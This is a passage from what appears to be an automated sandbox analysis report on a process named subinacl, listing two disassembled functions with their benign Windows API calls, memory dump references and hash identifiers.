                                                                                                                  • Opcode Fuzzy Hash: 8695959943596611f5a34923991a1fca96a519ef5066326c352ec3af40d77b93
                                                                                                                  • Instruction Fuzzy Hash: E3D0A5777016215ED6345AF8D8C05D7A3F9D7CA321714053FE5C797010C95568C6D390
                                                                                                                  Function 0103CC63 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • SetConsoleActiveScreenBuffer.KERNELBASE(?,0103BA91,00000001,00000001), ref: 0103CC6B
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ActiveBufferConsoleScreen
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1715499361-0
                                                                                                                  • Opcode ID: 605ca0f679ebc9d36e76afcb886cc5294a52e30d76024136ea46c9071c920119
                                                                                                                  • Instruction ID: 6884c20ae6a3b49ebb770c1c5414c03f428639912fe029315b37fb226a2129e9
                                                                                                                  • Opcode Fuzzy Hash: 605ca0f679ebc9d36e76afcb886cc5294a52e30d76024136ea46c9071c920119
                                                                                                                  • Instruction Fuzzy Hash: 66B012306001004BEF54CF36964CA01779CAA403013100484E440D1000C636C002CA10
                                                                                                                  Function 0101C992 Relevance: 1.3, APIs: 1, Instructions: 3COMMON
                                                                                                                  Download Yara Rule
                                                                                                                  APIs
                                                                                                                  • CloseHandle.KERNELBASE(?,01036060,00000000,00004E1F,00000000,00000000,0105328C), ref: 0101C994
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 00000028.00000002.2593130502.0000000001001000.00000020.00000001.01000000.00000021.sdmp, Offset: 01000000, based on PE: true
                                                                                                                  • Associated: 00000028.00000002.2593107424.0000000001000000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001046000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593165261.0000000001053000.00000004.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  • Associated: 00000028.00000002.2593214884.0000000001054000.00000002.00000001.01000000.00000021.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_40_2_1000000_subinacl.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CloseHandle
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2962429428-0
                                                                                                                  • Opcode ID: f0098cac61d17f31c8a9537c91a8d3dc4dfcd546e8461efca5c2631b9b8ee15d
                                                                                                                  • Instruction ID: 9442111cc37d23fed9fcedd4f0e4449de83cf3ae5fe1a624aea0ca7f6a4fbc22
                                                                                                                  • Opcode Fuzzy Hash: f0098cac61d17f31c8a9537c91a8d3dc4dfcd546e8461efca5c2631b9b8ee15d
                                                                                                                  • Instruction Fuzzy Hash: